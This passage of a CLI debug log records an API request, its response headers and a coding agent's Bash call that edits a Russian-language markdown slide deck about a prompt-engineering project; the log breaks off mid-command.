}\n[2026-09-29T07:51:18.622Z] [STDOUT] [log_e1a5e2] sending request {\n[2026-09-29T07:51:18.627Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:18.632Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:18.636Z] [STDOUT]   options: {\n[2026-09-29T07:51:18.638Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:18.647Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:18.656Z] [STDOUT]     body: {\n[2026-09-29T07:51:18.662Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:18.667Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:18.673Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:18.676Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:18.680Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:18.687Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:18.695Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:18.700Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:18.704Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:18.708Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:18.716Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:18.741Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:18.751Z] [STDOUT]     },\n[2026-09-29T07:51:18.753Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:18.755Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:18.759Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:18.763Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:18.766Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:18.769Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:18.773Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:18.776Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:18.779Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:18.785Z] [STDOUT]     },\n[2026-09-29T07:51:18.795Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:18.803Z] [STDOUT]   },\n[2026-09-29T07:51:18.810Z] [STDOUT]   headers: {\n[2026-09-29T07:51:18.817Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:18.820Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:18.826Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:18.831Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:18.834Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:18.838Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:18.842Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:18.851Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:18.857Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:18.864Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1935\",\n[2026-09-29T07:51:18.868Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:18.871Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:18.875Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:18.880Z] [STDOUT]     \"x-client-request-id\": \"6cbd55b3-79c7-40da-98a1-8e5f163e1584\",\n[2026-09-29T07:51:18.884Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:18.890Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:18.895Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:18.902Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:18.906Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:18.911Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:18.918Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:18.929Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:18.931Z] [STDOUT]   },\n[2026-09-29T07:51:18.939Z] [STDOUT] }\n[2026-09-29T07:51:19.371Z] [STDOUT] [log_e1a5e2, request-id: \"req_011CfXNCqgBQ1Aey49nmU6hh\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 750ms\n[2026-09-29T07:51:19.382Z] [STDOUT] [log_e1a5e2] response start {\n[2026-09-29T07:51:19.386Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:19.388Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:19.395Z] [STDOUT]   headers: {\n[2026-09-29T07:51:19.399Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:19.404Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:19.411Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:19.417Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:19.422Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:19.425Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.428Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:19.432Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:19.437Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:19.444Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:19.450Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:19.454Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:19.458Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:19.462Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.467Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:19.472Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:19.475Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:19.478Z] [STDOUT]     \"cf-ray\": \"a42966e56f5f01ff-CDG\",\n[2026-09-29T07:51:19.481Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:19.485Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:19.490Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:19.495Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:19.497Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:19 GMT\",\n[2026-09-29T07:51:19.501Z] [STDOUT]     \"request-id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\",\n[2026-09-29T07:51:19.503Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:19.507Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:19.513Z] [STDOUT]     traceresponse: \"00-797dfb4ba7e98adc6a72103b6dfbdffa-3c728663c9a7366a-01\",\n[2026-09-29T07:51:19.517Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:19.534Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:19.540Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:19.543Z] [STDOUT]   },\n[2026-09-29T07:51:19.548Z] [STDOUT]   durationMs: 750,\n[2026-09-29T07:51:19.552Z] [STDOUT] }\n[2026-09-29T07:51:19.556Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:19.564Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:19 GMT\",\n[2026-09-29T07:51:19.566Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:19.570Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:19.574Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:19.579Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:19.582Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:19.585Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:19.587Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:19.589Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:19.592Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:19.594Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:19.596Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:19.599Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:19.602Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:19.604Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:19.610Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:19.620Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.626Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:19.640Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:19.645Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:19.649Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:19.653Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:19.656Z] [STDOUT]   \"request-id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\",\n[2026-09-29T07:51:19.661Z] [STDOUT]   \"traceresponse\": \"00-797dfb4ba7e98adc6a72103b6dfbdffa-3c728663c9a7366a-01\",\n[2026-09-29T07:51:19.666Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:19.670Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:19.675Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:19.678Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:19.684Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:19.688Z] [STDOUT]   \"cf-ray\": \"a42966e56f5f01ff-CDG\",\n[2026-09-29T07:51:19.693Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:19.703Z] [STDOUT] [log_e1a5e2] response parsed {\n[2026-09-29T07:51:19.707Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:19.710Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:19.720Z] [STDOUT]   body: X {\n[2026-09-29T07:51:19.730Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:19.736Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:19.738Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:19.742Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:19.748Z] [STDOUT]     },\n[2026-09-29T07:51:19.753Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:19.757Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:19.760Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:19.764Z] [STDOUT]   },\n[2026-09-29T07:51:19.767Z] [STDOUT]   durationMs: 751,\n[2026-09-29T07:51:19.773Z] [STDOUT] }\n[2026-09-29T07:51:19.881Z] [INFO] {\n[2026-09-29T07:51:19.881Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:19.881Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:19.881Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:19.881Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:19.881Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:19.881Z] [INFO]   \"uuid\": \"8edd5deb-e08b-4b72-a49a-bac8f3fed64d\"\n[2026-09-29T07:51:19.881Z] [INFO] }\n[2026-09-29T07:51:20.953Z] [INFO] {\n[2026-09-29T07:51:20.953Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:20.953Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:20.953Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:51:20.953Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:20.953Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:20.953Z] [INFO]   \"uuid\": \"8abfa87b-735e-43e1-81a0-4c9fee24336c\"\n[2026-09-29T07:51:20.953Z] [INFO] }\n[2026-09-29T07:51:22.326Z] [INFO] {\n[2026-09-29T07:51:22.326Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:22.326Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:22.326Z] [INFO]   \"estimated_tokens\": 423,\n[2026-09-29T07:51:22.326Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:22.326Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:22.326Z] [INFO]   \"uuid\": \"5067bed3-c668-4fc0-a78c-2b81fab1da41\"\n[2026-09-29T07:51:22.326Z] [INFO] }\n[2026-09-29T07:51:22.335Z] [INFO] {\n[2026-09-29T07:51:22.335Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"message\": {\n[2026-09-29T07:51:22.335Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"id\": \"msg_011CfXNCr7yt1kq9WDr9hYDC\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:22.335Z] [INFO]     \"content\": [\n[2026-09-29T07:51:22.335Z] [INFO]       {\n[2026-09-29T07:51:22.335Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:22.335Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:22.335Z] [INFO]         \"signature\": \"CAQSlA0KEAgSGAI4AUIIdGhpbmtpbmcSDK49hmHuc5usQmC5fRoMvYG7jHLZRHAQPNZWIjDVfJEPW0rUjRVJxxo4DaLjfn97+uOhIQbgtIkfikGQ53NLqLApiowrvI8vLKcYgN4qsQwperBUn1fLzQKvOuTUOz8ovr90Mzoe/K+pgtEkYQgsyV9J+G0WhMeFoAl3bv4iNkuo5y/GAuEDteOmnvrKxbXi3elpXpZDVacn+JjpzFRXuKYnxZHAjoWVTJkbnhP9F6Ra0P1MvHRDmblTE7WrQ5SKKR8hMIij25WnPxJ82jYuHy2yuzg8sNgCIgDsztScavaQ1AOMNOv5Qfunjrpsy86gdGubZ2SyMe48mjeAvGw3MztSBopnI25DGEj9gEZT27AMxMnAMWoIKOEwfG22QMhIiUy19loSgOEyPN1CZ+5cezusRgtOHOtjbzQv6tV0jzEcDnTwtGwoDE4UPX5VIBaiQJOSbU+eJVHVqyeUbjU5QAzj5v0A94iMfdf693nM9rNqrGRdW4RmLcV6/im4ryjw8oY1Au0nIMI3XmCHYioovhiYLEyQh1oQwvqhgQ2sPA3M/EOFHnGkxgY3DTrd0GbLr6iYoDX6BsS2m4BMkQXuUrbx4TAYJRjjfRNmSbpyuq36W8ARkE+ax19d2sdPj3GKZkNwuazrN5hdzU/Zw8h8RqGWige1H300VX+QR6O1ndaAr7nKLb44b4LsQH4rtYSd64+7J9NOEvX6var4ZWxxPvvaIxJrCrEaQEjvzQENNEwnzStOFzSjZj1uPlKyAuZ9rPkFOgpm2k/1jnUmSEt36kDmSJW/Vel0zrs01DPnJHIoigLlHhFjdwGZUo1RrZw0WMueOR/WlzlR1th/BhUWsQVbdmHciaifvLqXIbgLqBFbDGPdqx1P2wlFt59r79lRiMv47/TDxa0vGjVpIJ4+uZsJB0lKc9S/ak6r0pPKrXf4uIjRMjEYyu5HVdHAnnrdw5IO0cs6MHw+y/FdB37sDuHFtqZWGmeUKQBSfJu2oYWsZvAksbCRDBFoZbRXeiapMC7wZCY6FBY2XLr/pTPJgCfHobvoToBprbRqqrzdn6bPjl03cZDm1uUzKsOpzkGuVf+f2jTTU7udnKk9YP1S0sy+beE8kfIpDDCFfSYvvaTMQT3/2KqYDpDtiB3vudWw8PI4VueglhhWcCbbmj2cGRiqIUqZfeExb1Vag+XnQCGIcKwF8mGp//EXicXktyh7XmfwEMeRfLFjOxPjMN5ouSckWAqH3qj1Z50kZS8pQsGSf2QlRtsk1t4keYp+REktrbMW8YVqT5FMo7FbiPsM3Q0yT9jO6z0pTwGzTmhTU1puT+3eAZUL2IfVRdF+QP9Rei+Il/6sBTGnv4rtKKgCs4a78uI+pFjBjzK/DSYJ4G/N2T8sPfMYsx/MVV1mWp3NoUBZKjlIuk36kNQrs+TapyCYS1zU78uzpY+wwfZBlbgcmstNmrxwzrboEiBB0mMVaqlwREDSi9MVv/UF69vdODKAut8EKfgs5xrh/JepFr48IaeDVro3qgtTd2AKn+iymKo5DbyTsLBBQEP4QaXel3HkhgJs69l1hoNYmiz7pJhyH3uxZyvBRc1EhuRDnG7yDMUsPxIFjkhoHZWBBze0olNyPFi5Zno3RJ4VSvc71QeiK1CRLmELQCTt69FRvIInj28AkQlCHz6BgsZXJ6wo6Oo2wJx+hGEjEDssK6l9OxfS9F6SgrsdTOEcIiYYY24z9DM4tO0fVaWrNLhUJC8h+e7lsU/7/n1rUxpcbOJ5TsyCcLPYjTxgAImff5K7/yaHo4O1AuKdFHVIIylBJ3HAKqrt89ufgqkh3dBm2hWGCQhP6Uu59qSNMXPQ+o8g7f57M6N08tbjAzALEtJDFQToBRxU5iGaM8Elqp/fwyD9Pe5TDc45Jg7nR2QSitYHI1+7y3PhdC6OyG9d4oOIlUmp4W8DxBI86jb+PWBzcZtauTwHzGJust3AoYLyn6CCqNDtKkI9t3EYaUddV5M8azg5BpoTYO/oURrphNu5O6e36hZo5CB6SMptTm4IktjZIDgMfC9IzXKE+Skn9n986isKOuHllJEA2gHVYE4PUvnJNcrL0XMWPZq13lZnJTrtUeCwsaDCzw7Ls9Urw2RsLmnV+hqX8f1Vju7ZQy04k4m3vNFXHnFkl48O2zYiBmsW/fIqiJSAwgWpvxMOGfX14ygLOjOgyLZ8/YjVZi+T0J0CZspZGAE=\"\n[2026-09-29T07:51:22.335Z] [INFO]       }\n[2026-09-29T07:51:22.335Z] [INFO]     ],\n[2026-09-29T07:51:22.335Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:22.335Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:22.335Z] [INFO]       \"cache_creation_input_tokens\": 1726,\n[2026-09-29T07:51:22.335Z] [INFO]       \"cache_read_input_tokens\": 98463,\n[2026-09-29T07:51:22.335Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:22.335Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:22.335Z] [INFO]         \"ephemeral_1h_input_tokens\": 1726\n[2026-09-29T07:51:22.335Z] [INFO]       },\n[2026-09-29T07:51:22.335Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:51:22.335Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:22.335Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:22.335Z] [INFO]     },\n[2026-09-29T07:51:22.335Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:22.335Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:22.335Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:22.335Z] [INFO]   },\n[2026-09-29T07:51:22.335Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:22.335Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"uuid\": \"50e59e01-a206-483b-86be-08e757b98563\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:22.323Z\",\n[2026-09-29T07:51:22.335Z] [INFO]   \"request_id\": \"req_011CfXNCqgBQ1Aey49nmU6hh\"\n[2026-09-29T07:51:22.335Z] [INFO] }\n[2026-09-29T07:51:26.220Z] [INFO] {\n[2026-09-29T07:51:26.220Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:26.220Z] [INFO]   \"message\": {\n[2026-09-29T07:51:26.220Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"id\": \"msg_011CfXNCr7yt1kq9WDr9hYDC\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:26.220Z] [INFO]     \"content\": [\n[2026-09-29T07:51:26.220Z] [INFO]       {\n[2026-09-29T07:51:26.220Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:26.220Z] [INFO]         \"id\": \"toolu_01HhvHiY2hrfxUMPXQche2yK\",\n[2026-09-29T07:51:26.220Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:26.220Z] [INFO]         \"input\": {\n[2026-09-29T07:51:26.220Z] [INFO]           \"command\": \"python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\npairs=[(\\\"\\\"\\\"- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 